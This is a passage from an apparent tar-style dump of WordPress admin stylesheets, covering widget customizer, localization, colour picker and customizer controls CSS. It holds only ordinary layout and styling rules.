.edit-site-actions{margin-top:0}.my-sites{display:block;overflow:auto;zoom:1}.my-sites li{display:block;padding:8px 3%;min-height:130px;margin:0}@media only screen and (max-width:599px){.my-sites li{min-height:0}}@media only screen and (min-width:600px){.my-sites.striped li{background-color:#fff;position:relative}.my-sites.striped li:after{content:"";width:1px;height:100%;position:absolute;top:0;right:0;background:#c3c4c7}}@media only screen and (min-width:600px) and (max-width:699px){.my-sites li{float:left;width:44%}.my-sites.striped li{background-color:#fff}.my-sites.striped li:nth-of-type(odd){clear:left}.my-sites.striped li:nth-of-type(2n+2):after{content:none}.my-sites li:nth-of-type(4n+1),.my-sites li:nth-of-type(4n+2){background-color:#f6f7f7}}@media only screen and (min-width:700px) and (max-width:1199px){.my-sites li{float:left;width:27.333333%;background-color:#fff}.my-sites.striped li:nth-of-type(3n+3):after{content:none}.my-sites li:nth-of-type(6n+1),.my-sites li:nth-of-type(6n+2),.my-sites li:nth-of-type(6n+3){background-color:#f6f7f7}}@media only screen and (min-width:1200px) and (max-width:1399px){.my-sites li{float:left;width:21%;padding:8px 2%;background-color:#fff}.my-sites.striped li:nth-of-type(4n+1){clear:left}.my-sites.striped li:nth-of-type(4n+4):after{content:none}.my-sites li:nth-of-type(8n+1),.my-sites li:nth-of-type(8n+2),.my-sites li:nth-of-type(8n+3),.my-sites li:nth-of-type(8n+4){background-color:#f6f7f7}}@media only screen and (min-width:1400px) and (max-width:1599px){.my-sites li{float:left;width:16%;padding:8px 2%;background-color:#fff}.my-sites.striped li:nth-of-type(5n+1){clear:left}.my-sites.striped li:nth-of-type(5n+5):after{content:none}.my-sites li:nth-of-type(10n+1),.my-sites li:nth-of-type(10n+2),.my-sites li:nth-of-type(10n+3),.my-sites li:nth-of-type(10n+4),.my-sites li:nth-of-type(10n+5){background-color:#f6f7f7}}@media only screen and (min-width:1600px){.my-sites li{float:left;width:12.666666%;padding:8px 2%;background-color:#fff}.my-sites.striped li:nth-of-type(6n+1){clear:left}.my-sites.striped li:nth-of-type(6n+6):after{content:none}.my-sites li:nth-of-type(12n+1),.my-sites li:nth-of-type(12n+2),.my-sites li:nth-of-type(12n+3),.my-sites li:nth-of-type(12n+4),.my-sites li:nth-of-type(12n+5),.my-sites li:nth-of-type(12n+6){background-color:#f6f7f7}}.my-sites li a{text-decoration:none}@media print,(min-resolution:120dpi){div.star-holder,div.star-holder .star-rating{background:url(../images/stars-2x.png?ver=20121108) repeat-x bottom left;background-size:21px 37px}.spinner{background-image:url(../images/spinner-2x.gif)}}@media screen and (max-width:782px){html.wp-toolbar{padding-top:var(--wp-admin--admin-bar--height)}.screen-reader-shortcut:focus{top:-39px}.block-editor-page .screen-reader-shortcut:focus{top:7px}.screen-reader-shortcut[href="#wp-toolbar"]{display:none}body{min-width:240px;overflow-x:hidden}body *{-webkit-tap-highlight-color:transparent!important}#wpcontent{position:relative;margin-left:0;padding-left:10px}#wpbody-content{padding-bottom:100px}.wrap{clear:both;margin-right:12px;margin-left:0}#col-left,#col-right{float:none;width:auto}#col-left .col-wrap,#col-right .col-wrap{padding:0}#collapse-menu,.post-format-select{display:none!important}.wrap h1.wp-heading-inline{margin-bottom:.5em}.wrap .add-new-h2,.wrap .add-new-h2:active,.wrap .page-title-action,.wrap .page-title-action:active{padding:0 14px;font-size:14px;white-space:nowrap;min-height:40px;line-height:2.71428571;vertical-align:middle}.media-upload-form div.error,.notice,.wrap div.error,.wrap div.updated{margin:20px 0 10px;padding:5px 10px;font-size:14px;line-height:175%}.wp-core-ui .notice.is-dismissible{padding-right:46px}.notice-dismiss{padding:13px}.wrap .icon32+h2{margin-top:-2px}.wp-responsive-open #wpbody{right:-16em}code{word-wrap:break-word;word-wrap:anywhere;word-break:break-word}.postbox{font-size:14px}.metabox-holder .postbox>h3,.metabox-holder .stuffbox>h3,.metabox-holder h2,.metabox-holder h3.hndle{padding:12px}.nav-menus-php .metabox-holder h3{padding:0}.postbox .handlediv{margin-top:3px}.subsubsub{font-size:16px;text-align:center;margin-bottom:15px}#template .CodeMirror,#template textarea{box-sizing:border-box}#templateside{float:none;width:auto}#templateside>ul{border-left:1px solid #dcdcde}#templateside li{margin:0}#templateside li:not(.howto) a{display:block;padding:5px}#templateside li.howto{padding:12px}#templateside .highlight{padding:5px;margin-left:-5px;margin-top:-5px}#template .notice,#template>div{float:none;margin:1em 0;width:auto}#template .CodeMirror,#template textarea{width:100%}#templateside ul ul{padding-left:1.5em}[role=treeitem] .folder-label{display:block;padding:5px}.tree-folder .tree-folder::after,.tree-folder>li::after,.tree-folder>li::before{left:-8px}.tree-folder>li::before{top:0;height:13px}.tree-folder>.current-file::before{left:-5px;top:7px;width:4px}.tree-folder>.current-file::after{height:9px;left:-8px}.wrap #templateside span.notice{margin-left:-5px;width:100%}.fileedit-sub .alignright{float:left;margin-top:15px;width:100%;text-align:left}.fileedit-sub .alignright label{display:block}.fileedit-sub #plugin,.fileedit-sub #theme{margin-left:0;max-width:70%}.fileedit-sub input[type=submit]{margin-bottom:0}#documentation label[for=docs-list]{display:block}#documentation select[name=docs-list]{margin-left:0;max-width:60%}#documentation input[type=button]{margin-bottom:0}#wpfooter{display:none}#comments-form .checkforspam{display:none}.edit-comment-author{margin:2px 0 0}.filter-drawer .filter-group-feature input,.filter-drawer .filter-group-feature label{line-height:2.1}.filter-drawer .filter-group-feature label{margin-left:32px}.wp-filter .button.drawer-toggle{font-size:13px;line-height:2;height:28px}#screen-meta #contextual-help-wrap{overflow:visible}#screen-meta #contextual-help-back,#screen-meta .contextual-help-sidebar{display:none}#screen-meta .contextual-help-tabs{clear:both;width:100%;float:none}#screen-meta .contextual-help-tabs ul{margin:0 0 1em;padding:1em 0 0}#screen-meta .contextual-help-tabs .active{margin:0}#screen-meta .contextual-help-tabs-wrap{clear:both;max-width:100%;float:none}#screen-meta,#screen-meta-links{margin-right:10px}#screen-meta-links{margin-bottom:20px}#screen-meta-links .show-settings:after{line-height:1.9}.wp-filter .search-form input[type=search]{font-size:1rem}.wp-filter .search-form.search-plugins{min-width:100%}}@media screen and (max-width:600px){#wpwrap.wp-responsive-open{overflow-x:hidden}html.wp-toolbar{padding-top:0}.screen-reader-shortcut:focus{top:7px}#wpbody{padding-top:46px}div#post-body.metabox-holder.columns-1{overflow-x:hidden}.nav-tab-wrapper,.wrap h2.nav-tab-wrapper,h1.nav-tab-wrapper{border-bottom:0}h1 .nav-tab,h2 .nav-tab,h3 .nav-tab,nav .nav-tab{margin:10px 10px 0 0;border-bottom:1px solid #c3c4c7}.nav-tab-active:focus,.nav-tab-active:focus:active,.nav-tab-active:hover{border-bottom:1px solid #c3c4c7}.wp-filter .search-form.search-plugins label{width:100%}}@media screen and (max-width:480px){.metabox-prefs-container{display:grid}.metabox-prefs-container>*{display:inline-block;padding:2px}}@media screen and (max-width:320px){#network_dashboard_right_now .subsubsub{font-size:14px;text-align:left}} css/customize-widgets-rtl.min.css 0000644 00000024220 15233246127 0013122 0 ustar 00 /*! This file is auto-generated */ .wp-full-overlay-sidebar{overflow:visible}.control-section.control-section-sidebar,.customize-control-sidebar_widgets .hide-if-js,.customize-control-sidebar_widgets label{display:none}.control-section.control-section-sidebar .accordion-section-content.ui-sortable{overflow:visible}.customize-control-widget_form .widget-top{background:#fff;transition:opacity .5s}.customize-control .widget-action{color:#787c82}.customize-control .widget-action:focus,.customize-control .widget-top:hover .widget-action{color:#1d2327}.customize-control-widget_form:not(.widget-rendered) .widget-top{opacity:.5}.customize-control-widget_form .widget-control-save{display:none}.customize-control-widget_form .spinner{visibility:hidden;margin-top:0}.customize-control-widget_form.previewer-loading .spinner{visibility:visible}.customize-control-widget_form.widget-form-disabled .widget-content{opacity:.7;pointer-events:none;-webkit-user-select:none;user-select:none}.customize-control-widget_form .widget{margin-bottom:0}.customize-control-widget_form.wide-widget-control .widget-inside{position:fixed;right:299px;top:25%;border:1px solid #dcdcde;overflow:auto}.customize-control-widget_form.wide-widget-control .widget-inside>.form{padding:20px}.customize-control-widget_form.wide-widget-control .widget-top{transition:background-color .4s}.customize-control-widget_form.wide-widget-control.expanded:not(.collapsing) .widget-top,.customize-control-widget_form.wide-widget-control.expanding .widget-top{background-color:#dcdcde}.widget-inside{padding:1px 10px 10px;border-top:none;line-height:1.23076923}.customize-control-widget_form.expanded .widget-action .toggle-indicator:before{content:"\f142"}.customize-control-widget_form.wide-widget-control .widget-action .toggle-indicator:before{content:"\f141"}.customize-control-widget_form.wide-widget-control.expanded .widget-action .toggle-indicator:before{content:"\f139"}.widget-title-action{cursor:pointer}.customize-control-widget_form .widget .customize-control-title,.widget-top{cursor:move}.control-section.accordion-section.highlighted>.accordion-section-title,.customize-control-widget_form.highlighted{outline:0;box-shadow:0 0 2px rgba(79,148,212,.8);position:relative;z-index:1}#widget-customizer-control-templates{display:none}#customize-theme-controls .widget-reorder-nav{display:none;float:left;background-color:#f6f7f7}.move-widget:before{content:"\f504";content:"\f504"/''}#customize-theme-controls .move-widget-area{display:none;background:#fff;border:1px solid #c3c4c7;border-top:none;cursor:auto}#customize-theme-controls .reordering .move-widget-area.active{display:block}#customize-theme-controls .move-widget-area .description{margin:0;padding:15px 20px;font-weight:400}#customize-theme-controls .widget-area-select{margin:0;padding:0;list-style:none}#customize-theme-controls .widget-area-select li{position:relative;margin:0;padding:13px 42px 15px 15px;color:#50575e;border-top:1px solid #c3c4c7;cursor:pointer;-webkit-user-select:none;user-select:none}#customize-theme-controls .widget-area-select li:before{display:none;content:"\f147";content:"\f147"/'';position:absolute;top:12px;right:10px;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#customize-theme-controls .widget-area-select li:last-child{border-bottom:1px solid #c3c4c7}#customize-theme-controls .widget-area-select .selected{color:#fff;background:var(--wp-admin-theme-color)}#customize-theme-controls .widget-area-select .selected:before{display:block}#customize-theme-controls .move-widget-actions{text-align:left;padding:12px}#customize-theme-controls .reordering .widget-title-action{display:none}#customize-theme-controls .reordering .widget-reorder-nav{display:block}.wp-customizer div.mce-inline-toolbar-grp,.wp-customizer div.mce-tooltip{z-index:500100!important}.wp-customizer .ui-autocomplete.wplink-autocomplete{z-index:500110}.wp-customizer #wp-link-backdrop{z-index:500100}.wp-customizer #wp-link-wrap{z-index:500105}#widgets-left #available-widgets .widget{float:none!important;width:auto!important}#available-widgets .widget-action{display:none}.ios #available-widgets{transition:right 0s}#available-widgets .widget-tpl.selected,#available-widgets .widget-tpl:hover{background:#f6f7f7;border-bottom-color:#c3c4c7;color:var(--wp-admin-theme-color);border-right:4px solid var(--wp-admin-theme-color)}#customize-controls .widget-title h3{font-size:1em}#available-widgets .widget-title h3{padding:0 0 5px;font-size:14px}#available-widgets .widget .widget-description{padding:0;color:#646970}@media (prefers-reduced-motion:no-preference){#customize-preview{transition:all .2s}}body.adding-widget #available-widgets{right:0;visibility:visible}body.adding-widget .wp-full-overlay-main{right:300px}body.adding-widget #customize-preview{opacity:.4}#available-widgets .widget-title{position:relative}#available-widgets .widget-title:before{content:"\f132";content:"\f132"/'';position:absolute;top:-3px;left:100%;margin-left:20px;width:20px;height:20px;color:#2c3338;font:normal 20px/1 dashicons;text-align:center;box-sizing:border-box;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#available-widgets [class*=easy] .widget-title:before{content:"\f328";content:"\f328"/'';top:-4px}#available-widgets [class*=like] .widget-title:before,#available-widgets [class*=super] .widget-title:before{content:"\f155";content:"\f155"/'';top:-4px}#available-widgets [class*=meta] .widget-title:before{content:"\f120";content:"\f120"/''}#available-widgets [class*=archives] .widget-title:before{content:"\f480";content:"\f480"/'';top:-4px}#available-widgets [class*=categor] .widget-title:before{content:"\f318";content:"\f318"/'';top:-4px}#available-widgets [class*=chat] .widget-title:before,#available-widgets [class*=comment] .widget-title:before,#available-widgets [class*=testimonial] .widget-title:before{content:"\f101";content:"\f101"/''}#available-widgets [class*=post] .widget-title:before{content:"\f109";content:"\f109"/''}#available-widgets [class*=page] .widget-title:before{content:"\f105";content:"\f105"/''}#available-widgets [class*=text] .widget-title:before{content:"\f478";content:"\f478"/''}#available-widgets [class*=link] .widget-title:before{content:"\f103";content:"\f103"/''}#available-widgets [class*=search] .widget-title:before{content:"\f179";content:"\f179"/''}#available-widgets [class*=menu] .widget-title:before,#available-widgets [class*=nav] .widget-title:before{content:"\f333";content:"\f333"/''}#available-widgets [class*=tag] .widget-title:before{content:"\f479";content:"\f479"/''}#available-widgets [class*=rss] .widget-title:before{content:"\f303";content:"\f303"/'';top:-6px}#available-widgets [class*=calendar] .widget-title:before,#available-widgets [class*=event] .widget-title:before{content:"\f145";content:"\f145"/'';top:-4px}#available-widgets [class*=image] .widget-title:before,#available-widgets [class*=instagram] .widget-title:before,#available-widgets [class*=photo] .widget-title:before,#available-widgets [class*=slide] .widget-title:before{content:"\f128";content:"\f128"/''}#available-widgets [class*=album] .widget-title:before,#available-widgets [class*=galler] .widget-title:before{content:"\f161";content:"\f161"/''}#available-widgets [class*=tube] .widget-title:before,#available-widgets [class*=video] .widget-title:before{content:"\f126";content:"\f126"/''}#available-widgets [class*=audio] .widget-title:before,#available-widgets [class*=music] .widget-title:before,#available-widgets [class*=radio] .widget-title:before{content:"\f127";content:"\f127"/''}#available-widgets [class*=avatar] .widget-title:before,#available-widgets [class*=grofile] .widget-title:before,#available-widgets [class*=login] .widget-title:before,#available-widgets [class*=member] .widget-title:before,#available-widgets [class*=profile] .widget-title:before,#available-widgets [class*=subscriber] .widget-title:before,#available-widgets [class*=user] .widget-title:before{content:"\f110";content:"\f110"/''}#available-widgets [class*=cart] .widget-title:before,#available-widgets [class*=commerce] .widget-title:before,#available-widgets [class*=shop] .widget-title:before{content:"\f174";content:"\f174"/'';top:-4px}#available-widgets [class*=firewall] .widget-title:before,#available-widgets [class*=secur] .widget-title:before{content:"\f332";content:"\f332"/''}#available-widgets [class*=analytic] .widget-title:before,#available-widgets [class*=poll] .widget-title:before,#available-widgets [class*=stat] .widget-title:before{content:"\f185";content:"\f185"/''}#available-widgets [class*=form] .widget-title:before{content:"\f175";content:"\f175"/''}#available-widgets [class*=contact] .widget-title:before,#available-widgets [class*=mail] .widget-title:before,#available-widgets [class*=news] .widget-title:before,#available-widgets [class*=subscribe] .widget-title:before{content:"\f466";content:"\f466"/''}#available-widgets [class*=share] .widget-title:before,#available-widgets [class*=socia] .widget-title:before{content:"\f237";content:"\f237"/''}#available-widgets [class*=lang] .widget-title:before,#available-widgets [class*=translat] .widget-title:before{content:"\f326";content:"\f326"/''}#available-widgets [class*=locat] .widget-title:before,#available-widgets [class*=map] .widget-title:before{content:"\f231";content:"\f231"/''}#available-widgets [class*=download] .widget-title:before{content:"\f316";content:"\f316"/''}#available-widgets [class*=weather] .widget-title:before{content:"\f176";content:"\f176"/'';top:-4px}#available-widgets [class*=facebook] .widget-title:before{content:"\f304";content:"\f304"/''}#available-widgets [class*=tweet] .widget-title:before,#available-widgets [class*=twitter] .widget-title:before{content:"\f301";content:"\f301"/''}@media screen and (max-height:700px) and (min-width:981px){.customize-control-widget_form{margin-bottom:0}.widget-top{box-shadow:none;margin-top:-1px}.widget-top:hover{position:relative;z-index:1}.last-widget{margin-bottom:15px}.widget-title h3{padding:13px 15px}.widget-top .widget-action{padding:8px 10px}.widget-reorder-nav span{height:39px}.widget-reorder-nav span:before{line-height:39px}#customize-theme-controls .widget-area-select li{padding:9px 42px 11px 15px}#customize-theme-controls .widget-area-select li:before{top:8px}} css/l10n.css 0000644 00000010674 15233246127 0006635 0 ustar 00 /*------------------------------------------------------------------------------ 27.0 - Localization ------------------------------------------------------------------------------*/ /* RTL except Hebrew (see below): Tahoma as the first font; */ body.rtl, body.rtl .press-this a.wp-switch-editor { font-family: Tahoma, Arial, sans-serif; } /* Arial is best for RTL headings. */ .rtl h1, .rtl h2, .rtl h3, .rtl h4, .rtl h5, .rtl h6 { font-family: Arial, sans-serif; font-weight: 600; } /* he_IL: Remove Tahoma from the font stack. Arial is best for Hebrew. */ body.locale-he-il, body.locale-he-il .press-this a.wp-switch-editor { font-family: Arial, sans-serif; } /* he_IL: Have <em> be bold rather than italic. */ .locale-he-il em { font-style: normal; font-weight: 600; } /* zh_CN: Remove italic properties. */ .locale-zh-cn .howto, .locale-zh-cn .tablenav .displaying-num, .locale-zh-cn .js .input-with-default-title, .locale-zh-cn .link-to-original, .locale-zh-cn .inline-edit-row fieldset span.title, .locale-zh-cn .inline-edit-row fieldset span.checkbox-title, .locale-zh-cn #utc-time, .locale-zh-cn #local-time, .locale-zh-cn p.install-help, .locale-zh-cn p.help, .locale-zh-cn p.description, .locale-zh-cn span.description, .locale-zh-cn .form-wrap p { font-style: normal; } /* zh_CN: Enlarge dashboard widget 'Configure' link */ .locale-zh-cn .hdnle a { font-size: 12px; } /* zn_CH: Enlarge font size, set font-size: normal */ .locale-zh-cn form.upgrade .hint { font-style: normal; font-size: 100%; } /* zh_CN: Enlarge font-size. */ .locale-zh-cn #sort-buttons { font-size: 1em !important; } /* de_DE: Text needs more space for translation */ .locale-de-de #customize-header-actions .button, .locale-de-de-formal #customize-header-actions .button { padding: 0 5px 1px; /* default 0 10px 1px */ } .locale-de-de #customize-header-actions .spinner, .locale-de-de-formal #customize-header-actions .spinner { margin: 16px 3px 0; /* default 16px 4px 0 5px */ } body[class*="locale-de-"] .inline-edit-row fieldset label span.title, body[class*="locale-de-"] .inline-edit-row fieldset.inline-edit-date legend { width: 7em; /* default 6em */ } body[class*="locale-de-"] .inline-edit-row fieldset label span.input-text-wrap, body[class*="locale-de-"] .inline-edit-row fieldset .timestamp-wrap { margin-left: 7em; /* default 6em */ } /* ru_RU: Text needs more room to breathe. */ .locale-ru-ru #adminmenu { width: inherit; /* back-compat for pre-3.2 */ } .locale-ru-ru #adminmenu, .locale-ru-ru #wpbody { margin-left: 0; /* back-compat for pre-3.2 */ } .locale-ru-ru .inline-edit-row fieldset label span.title, .locale-ru-ru .inline-edit-row fieldset.inline-edit-date legend { width: 8em; /* default 6em */ } .locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap, .locale-ru-ru .inline-edit-row fieldset .timestamp-wrap { margin-left: 8em; /* default 6em */ } .locale-ru-ru.post-php .tagsdiv .newtag, .locale-ru-ru.post-new-php .tagsdiv .newtag { width: 165px; /* default 180px - 15px */ } .locale-ru-ru.press-this .posting { margin-right: 277px; /* default 252px + 25px */ } .locale-ru-ru .press-this-sidebar { width: 265px; /* default 240px + 25px */ } .locale-ru-ru #customize-header-actions .button { padding: 0 5px 1px; /* default 0 10px 1px */ } .locale-ru-ru #customize-header-actions .spinner { margin: 16px 3px 0; /* default 16px 4px 0 5px */ } /* lt_LT: QuickEdit */ .locale-lt-lt .inline-edit-row fieldset label span.title, .locale-lt-lt .inline-edit-row fieldset.inline-edit-date legend { width: 8em; /* default 6em */ } .locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap, .locale-lt-lt .inline-edit-row fieldset .timestamp-wrap { margin-left: 8em; /* default 6em */ } /* Fix overridden width for adjusted locales */ body[class*="locale-de-"] .quick-edit-row-post fieldset.inline-edit-col-right label span.title, .locale-ru-ru .quick-edit-row-post fieldset.inline-edit-col-right label span.title, .locale-lt-lt .quick-edit-row-post fieldset.inline-edit-col-right label span.title { width: auto; } @media screen and (max-width: 782px) { body[class*="locale-de-"] .inline-edit-row fieldset label span.input-text-wrap, body[class*="locale-de-"] .inline-edit-row fieldset .timestamp-wrap, .locale-ru-ru .inline-edit-row fieldset label span.input-text-wrap, .locale-ru-ru .inline-edit-row fieldset .timestamp-wrap, .locale-lt-lt .inline-edit-row fieldset label span.input-text-wrap, .locale-lt-lt .inline-edit-row fieldset .timestamp-wrap { margin-left: 0; } } css/color-picker.min.css 0000644 00000006176 15233246127 0011240 0 ustar 00 /*! This file is auto-generated */ .wp-color-picker{width:80px;direction:ltr}.wp-picker-container .hidden{display:none}.wp-picker-container .wp-color-result.button{min-height:32px;margin:0 6px 6px 0;padding:0 0 0 30px;font-size:11px}.wp-color-result-text{background:#f6f7f7;border-radius:0 2px 2px 0;border-left:1px solid #c3c4c7;color:#50575e;display:block;line-height:2.72727273;padding:0 6px;text-align:center}.wp-color-result:focus,.wp-color-result:hover{background:#f6f7f7;border-color:#8c8f94;color:#1d2327}.wp-color-result:focus:after,.wp-color-result:hover:after{color:#1d2327;border-color:#a7aaad;border-left:1px solid #8c8f94}.wp-picker-container{display:inline-block}.wp-color-result:focus{border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8)}.wp-color-result:active{transform:none!important}.wp-picker-open+.wp-picker-input-wrap{display:inline-block;vertical-align:top}.wp-picker-input-wrap label{display:inline-block;vertical-align:top}.form-table .wp-picker-input-wrap label{margin:0!important}.wp-customizer .wp-picker-input-wrap .button.wp-picker-clear,.wp-customizer .wp-picker-input-wrap .button.wp-picker-default,.wp-picker-input-wrap .button.wp-picker-clear,.wp-picker-input-wrap .button.wp-picker-default{margin-left:6px;padding:0 8px;line-height:2.72727273;min-height:32px}.wp-picker-container .iris-square-slider .ui-slider-handle:focus{background-color:#50575e}.wp-picker-container .iris-picker{border-radius:0;border-color:#dcdcde;margin-top:6px}.wp-picker-container input[type=text].wp-color-picker{width:4rem;font-size:12px;font-family:monospace;margin:0;padding:0 5px;vertical-align:top;min-height:32px}.wp-color-picker::-webkit-input-placeholder{color:#646970}.wp-color-picker::-moz-placeholder{color:#646970}.wp-picker-container input[type=text].iris-error{background-color:#fcf0f1;border-color:#d63638;color:#000}.iris-picker .iris-strip .ui-slider-handle:focus,.iris-picker .ui-square-handle:focus{border-color:var(--wp-admin-theme-color,#3858e9);border-style:solid;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.iris-picker .iris-palette:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9)}@media screen and (max-width:782px){.wp-picker-container input[type=text].wp-color-picker{width:5rem;font-size:16px;line-height:1.875;min-height:32px}.wp-customizer .wp-picker-container input[type=text].wp-color-picker{padding:0 5px}.wp-picker-input-wrap .button.wp-picker-clear,.wp-picker-input-wrap .button.wp-picker-default{padding:0 8px;line-height:2.14285714;min-height:32px}.wp-customizer .wp-picker-input-wrap .button.wp-picker-clear,.wp-customizer .wp-picker-input-wrap .button.wp-picker-default{padding:0 8px;font-size:14px;line-height:2.14285714;min-height:32px}.wp-picker-container .wp-color-result.button{padding:0 0 0 40px;font-size:14px;line-height:2.14285714}.wp-customizer .wp-picker-container .wp-color-result.button{font-size:14px;line-height:2.14285714}.wp-picker-container .wp-color-result-text{padding:0 14px;font-size:inherit;line-height:inherit}.wp-customizer .wp-picker-container .wp-color-result-text{padding:0 10px}} css/customize-controls.min.css 0000644 00000166016 15233246127 0012532 0 ustar 00 /*! This file is auto-generated */ body{overflow:hidden;-webkit-text-size-adjust:100%}.customize-controls-close,.widget-control-actions a{text-decoration:none}#customize-controls h3{font-size:14px}#customize-controls img{max-width:100%}#customize-controls .submit{text-align:center}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked{background-color:rgba(0,0,0,.7);padding:25px}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .customize-changeset-locked-message{margin-left:auto;margin-right:auto;max-width:366px;min-height:64px;width:auto;padding:25px;position:relative;background:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);line-height:1.5;overflow-y:auto;text-align:left;top:calc(50% - 100px)}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .customize-changeset-locked-message.has-avatar{padding-left:109px}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .currently-editing{margin-top:0}#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .action-buttons{margin-bottom:0}.customize-changeset-locked-avatar{width:64px;position:absolute;left:25px;top:25px}.wp-core-ui.wp-customizer .customize-changeset-locked-message a.button{margin-right:10px;margin-top:0}#customize-controls .description{color:#50575e}#customize-save-button-wrapper{float:right;margin-top:7px}body:not(.ready) #customize-save-button-wrapper .save{visibility:hidden}#customize-save-button-wrapper .save{float:left;border-radius:3px;box-shadow:none;margin-top:0}#customize-save-button-wrapper .save.has-next-sibling{border-radius:3px 0 0 3px}#customize-sidebar-outer-content{position:absolute;top:0;bottom:0;left:0;visibility:hidden;overflow-x:hidden;overflow-y:auto;width:100%;margin:0;z-index:-1;background:#f0f0f1;transition:left .18s;border-right:1px solid #dcdcde;border-left:1px solid #dcdcde;height:100%}@media (prefers-reduced-motion:reduce){#customize-sidebar-outer-content{transition:none}}#customize-theme-controls .control-section-outer{display:none!important}#customize-outer-theme-controls .accordion-section-content{padding:12px}#customize-outer-theme-controls .accordion-section-content.open{display:block}.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content{visibility:visible;left:100%;transition:left .18s}@media (prefers-reduced-motion:reduce){.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content{transition:none}}.customize-outer-pane-parent{margin:0}.outer-section-open .wp-full-overlay.expanded .wp-full-overlay-main{left:300px;opacity:.4}.adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.adding-menu-items .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,.adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.adding-widget .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,.outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,.outer-section-open .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main{left:64%}#customize-outer-theme-controls li.notice{padding-top:8px;padding-bottom:8px;margin-left:0;margin-bottom:10px}#publish-settings{text-indent:0;border-radius:0 3px 3px 0;padding-left:0;padding-right:0;box-shadow:none;font-size:14px;width:30px;float:left;transform:none;margin-top:0;line-height:2}body.trashing #customize-save-button-wrapper .save,body.trashing #publish-settings,body:not(.ready) #publish-settings{display:none}#customize-header-actions .spinner{margin-top:13px;margin-right:4px}.saving #customize-header-actions .spinner,.trashing #customize-header-actions .spinner{visibility:visible}#customize-header-actions{border-bottom:1px solid #dcdcde}#customize-controls .wp-full-overlay-sidebar-content{overflow-y:auto;overflow-x:hidden}.outer-section-open #customize-controls .wp-full-overlay-sidebar-content{background:#f0f0f1}#customize-controls .customize-info{border:none;border-bottom:1px solid #dcdcde;margin-bottom:15px}#customize-control-changeset_preview_link input,#customize-control-changeset_status .customize-inside-control-row{background-color:#fff;border-bottom:1px solid #dcdcde;box-sizing:content-box;width:100%;margin-left:-12px;padding-left:12px;padding-right:12px}#customize-control-trash_changeset{margin-top:20px}#customize-control-trash_changeset .button-link{position:relative;padding-left:24px;display:inline-block}#customize-control-trash_changeset .button-link:before{content:"\f182";content:"\f182"/'';font:normal 22px dashicons;text-decoration:none;position:absolute;left:0;top:-2px}#customize-controls .date-input:invalid{border-color:#d63638}#customize-control-changeset_status .customize-inside-control-row{padding-top:10px;padding-bottom:10px;font-weight:500}#customize-control-changeset_status .customize-inside-control-row:first-of-type{border-top:1px solid #dcdcde}#customize-control-changeset_status .customize-control-title{margin-bottom:6px}#customize-control-changeset_status input{margin-left:0}#customize-control-changeset_preview_link{position:relative;display:block}.preview-link-wrapper .customize-copy-preview-link.preview-control-element.button{margin:0;position:absolute;top:50%;transform:translateY(-50%)!important;right:0;background:#fff!important}.preview-link-wrapper{position:relative}.customize-copy-preview-link:after,.customize-copy-preview-link:before{content:"";height:40px;position:absolute;background:#fff;top:0}.customize-copy-preview-link:before{left:-10px;width:9px;opacity:.75}.customize-copy-preview-link:after{left:-5px;width:4px;opacity:.8}#customize-control-changeset_preview_link input{line-height:2.85714286;border-top:1px solid #dcdcde;border-left:none;border-right:none;text-indent:-999px;color:#fff;min-height:40px}#customize-control-changeset_preview_link label{position:relative;display:block}#customize-control-changeset_preview_link a{display:inline-block;position:absolute;white-space:nowrap;overflow:hidden;width:90%;bottom:14px;font-size:14px;text-decoration:none}#customize-control-changeset_preview_link a.disabled,#customize-control-changeset_preview_link a.disabled:active,#customize-control-changeset_preview_link a.disabled:focus,#customize-control-changeset_preview_link a.disabled:visited{color:#000;opacity:.4;cursor:default;outline:0;box-shadow:none}#sub-accordion-section-publish_settings .customize-section-description-container{display:none}#customize-controls .customize-info.section-meta{margin-bottom:15px}.customize-control-date_time .customize-control-description+.date-time-fields.includes-time{margin-top:10px}.customize-control.customize-control-date_time .date-time-fields .date-input.day{margin-right:0}.date-time-fields .date-input.month{width:auto;margin:0}.date-time-fields .date-input.day,.date-time-fields .date-input.hour,.date-time-fields .date-input.minute{width:46px}.customize-control-date_time select{vertical-align:top}.date-time-fields .date-input.year{width:65px}.date-time-fields .date-input.meridian{width:auto;margin:0}.date-time-fields .time-row{margin-top:12px}#customize-control-changeset_preview_link{margin-top:6px}#customize-control-changeset_status{margin-bottom:0;padding-bottom:0}#customize-control-changeset_scheduled_date{box-sizing:content-box;width:100%;margin-left:-12px;padding:12px;background:#fff;border-bottom:1px solid #dcdcde;margin-bottom:0}#customize-control-changeset_scheduled_date .customize-control-description,#customize-control-site_icon .customize-control-description{font-style:normal}#customize-controls .customize-info.is-in-view,#customize-controls .customize-section-title.is-in-view{position:absolute;z-index:9;width:100%;box-shadow:0 1px 0 rgba(0,0,0,.1)}#customize-controls .customize-section-title.is-in-view{margin-top:0}#customize-controls .customize-info.is-in-view+.accordion-section{margin-top:15px}#customize-controls .customize-info.is-sticky,#customize-controls .customize-section-title.is-sticky{position:fixed;top:46px}#customize-controls .customize-info .accordion-section-title{background:#fff;color:#50575e;border-left:none;border-right:none;border-bottom:none;cursor:default;padding:10px 10px 11px 14px}#customize-controls .customize-info 